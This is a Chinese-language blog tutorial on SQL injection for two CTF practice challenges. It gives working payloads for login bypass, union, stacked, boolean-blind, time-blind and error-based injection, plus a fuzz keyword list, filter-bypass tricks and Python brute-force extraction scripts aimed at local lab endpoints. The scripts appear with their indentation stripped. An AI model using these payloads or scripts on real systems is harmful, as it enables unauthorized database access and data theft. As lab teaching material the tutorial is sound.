基础知识
1.数据库结构
数据库-数据表-字段-数据
DB-Tables-Colomns-Data
2.information_schemata库
存放整个数据库系统的信息。
包括所有库、表、字段。
schemata:所有库的信息
tables:所有表的信息
colomns:所有字段的信息
3.数据库语句
CTF需要掌握的数据库语句:
SELECT trueName from students where signId = 270001;
trueName:要返回的数据
students:要查的表
signId=270001:需要满足的条件
show databases/tables;
返回所有数据库/当前数据库下的所有表
例题 :sqltest
无过滤,多种方式拿flag。
1.万能密码
SELECT trueName from students where signId = '${USERINPUT}';
如果输入1' or '1'='1,则语句变为:
SELECT signId,trueName,email from students where signId = '1' or '1'='1';
where后的条件永真,会输出当前表的所有数据。
但是flag不在这里,对这道题没用。(一些登陆验证会有用)
2.联合注入
UNION SELECT 会在返回的结果中加入union select后的内容
SELECT signId,trueName,email from students where signId = '${USERINPUT}';
如果输入270001' union select 1,1,1;#,则语句变为:
SELECT signId,trueName,email from students where signId = '270001' union select 1,1,1;#';
#注释符会把最后的';注释掉。
注意union后跟的数据个数必须与被查询的列个数相等
如果不确定,可以通过order by来确定。
利用union联合注入可以对information_schemata的表进行查询,了解数据库信息。
查询所有库名:
SELECT schema_name FROM information_schema.schemata
因此payload为:
1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata);#
GROUP_CONCAT将这一列的所有结果作为一个元素显示,避免元素个数不匹配。
明显flag在库flagdb中
对应地,查询flagdb的表名:
1' union select 1,1,(SELECT group_concat(table_name) from information_schema.tables where table_schema = 'flagdb');#
有表flagtb。查询flagtb的所有字段:
1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flagtb');#
查询表中的password:
1' union select 1,1,(SELECT password FROM flagdb.flagtb);#
(trick:如果遇到结果只返回查到的第一条数据,则查询一个不存在的数据即可。如-1,或者直接为空)
3.堆叠注入
如果注入:
1';show databases;#
则语句变为:
SELECT signId,trueName,email from students where signId = '1';show databases;#';
会执行show databases。
查看flagdb库的数据表: 1';use flagdb;show tables;#
查看flagtb的数据:1';select * from flagdb.flagtb;#
4.盲注
当无回显或者只回显查询成功与否,或union,;等被过滤时,可以考虑盲注。
布尔盲注payload:
270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1#
substr(str,start.length)用法:取str从start位置开始的length个字符
因此执行的sql语句为:
SELECT signId,trueName,email from students where signId = '270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1#';
需同时满足 signId = '270001' 和ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1才能返回对应数据。
即可以用于判断(select group_concat(schema_name)from information_schema.schemata)的结果的第一个字符的ascii码是否为97,即第一个字符是否为a。
利用这一点将结果的所有字符全部爆出来即可。下面是脚本。
import requests
url="http://127.0.0.1:6001/query"
data={"sql":"270001"}
r=requests.post(url,data=data)
if r.text:
print("connected.")
else:
print("connection failed.")
#爆出数据库
dbs=""
#j遍历查询结果的所有字符位置
for j in range(0,70):
#i遍历所有可见字符的ascii码
for i in range(32,126):
data={"sql":f"270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),{j},1))={i}#"}
res=requests.post(url,data=data).text
# 如果代表邮箱的@出现在结果中,说明条件为真,查询成功
if "@" in res:
dbs+=chr(i)
print("Databases:",dbs)
# 同理,爆出数据表
tbs=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"270001' and ascii(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema = 'flagdb'),{j},1))={i}#"}
res=requests.post(url,data=data).text
if "@" in res:
tbs+=chr(i)
print("tables:",tbs)
# 爆出表中的列名
clms=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1' or ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name like 'flagtb' ),{j},1))=({i})#"}
res=requests.post(url,data=data).text
if "@" in res:
clms+=chr(i)
print("columns:",clms)
# 爆出password字段的值
flag=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1' or ascii(substr((SELECT password FROM flagdb.flagtb),{j},1))= {i}#"}
res=requests.post(url,data=data).text
if "@" in res:
flag+=chr(i)
print("flag:",flag)
执行结果:
如果成功与否也不回显,可以使用时间盲注。
时间盲注payload:
1' and if(substr((select group_concat(schema_name)from information_schema.schemata),1,1)='a',sleep(5),0);#
if(A,B,C)用法:A若为真,执行B,否则执行C
这句payload会使mysql判断(select group_concat(schema_name)from information_schema.schemata)的第一个值是否为a,若为a则暂停程序5秒。
可用1' and sleep(5);#判断是否存在时间盲注
5.报错注入
当报错时回显报错信息时,可以使用。
测试方法:注入1',发现有报错信息
1、updatexml
update有三个参数用于更新xml,第二个为xpath的路径,如果xpath语法不正确,就会将xpath路径回显并报错。
例如注入1' and updatexml(1,"~",1);#
将“~”回显了出来。
构造payload为:
1' and updatexml(1,concat("~",(select group_concat(schema_name)from information_schema.schemata),"~"),1);#
回显信息不完整,利用substr截取后面的部分即可。
1' and updatexml(1,concat("~",substr((select group_concat(schema_name)from information_schema.schemata),30,100),"~"),1);#
最后出flag的payload:
1' and updatexml(1,concat("~",(select password from flagdb.flagtb),"~"),1);#
2.extractvalue
大同小异,两个参数,第二个参数为xpath,如果有~等字符也会触发xpath的语法报错。
1' and extractvalue(1,concat("~",(select password from flagdb.flagtb),"~"));#
例题:sqlfuzz
题目ban了一些sql注入的字符串。输入union:
不知道ban了哪些,可以进行一个fuzz
fuzz字典(自编,参考)
'
"
#
-
--
and
select
insert
as
or
procedure
limit
order
by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
|
%7C
(
%28
)
%29
&
%26
!
%21
/
'
?
union
select
insert
as
or
procedure
limit
asc
desc
delete
distinct
having
truncate
replace
like
handler
bfilename
updatexml
extractvalue
&
!
=
;
?
+
if
利用burp的爆破模块进行fuzz
查找含有hack me的包,发现这些被过滤。
过滤空格:用括号绕过,如SELECT A FROM B WHERE C=D
改成SELECT(A)FROM(B)WHERE(C=D)
过滤and:and相当于&&
过滤=:like有=的作用
解法:select没被过滤,可以考虑盲注(也有其他解法)
脚本:
import requests
url="http://127.0.0.1:6002/"
data={"sql":"270001"}
r=requests.post(url,data=data)
if r.text:
print("connected.")
else:
print("connection failed.")
dbs=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1'or(ascii(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{j},1))like({i}))#"}
res=requests.post(url,data=data).text
if not "未找到" in res:
dbs+=chr(i)
print("database:",dbs)
tbs=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1'or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('flagdb'))),{j},1))like({i}))#"}
res=requests.post(url,data=data).text
if not "未找到" in res:
tbs+=chr(i)
print("tables:",tbs)
clms=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1'or(ascii(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE((table_name)like('flagtb'))),{j},1))like({i}))#"}
res=requests.post(url,data=data).text
if not "未找到" in res:
clms+=chr(i)
print("columns:",clms)
flag=""
for j in range(0,50):
for i in range(32,126):
data={"sql":f"1'or(ascii(substr((SELECT(password)FROM(flagdb.flagtb)),{j},1))like({i}))#"}
res=requests.post(url,data=data).text
if not "未找到" in res:
flag+=chr(i)
print("flag:",flag)
Comments 3 条评论
博主 ‘’染小兮
这是一条私密评论
博主 Mak4R1
@‘’染小兮 这是一条私密评论
博主 张, 敬茁
这是一条私密评论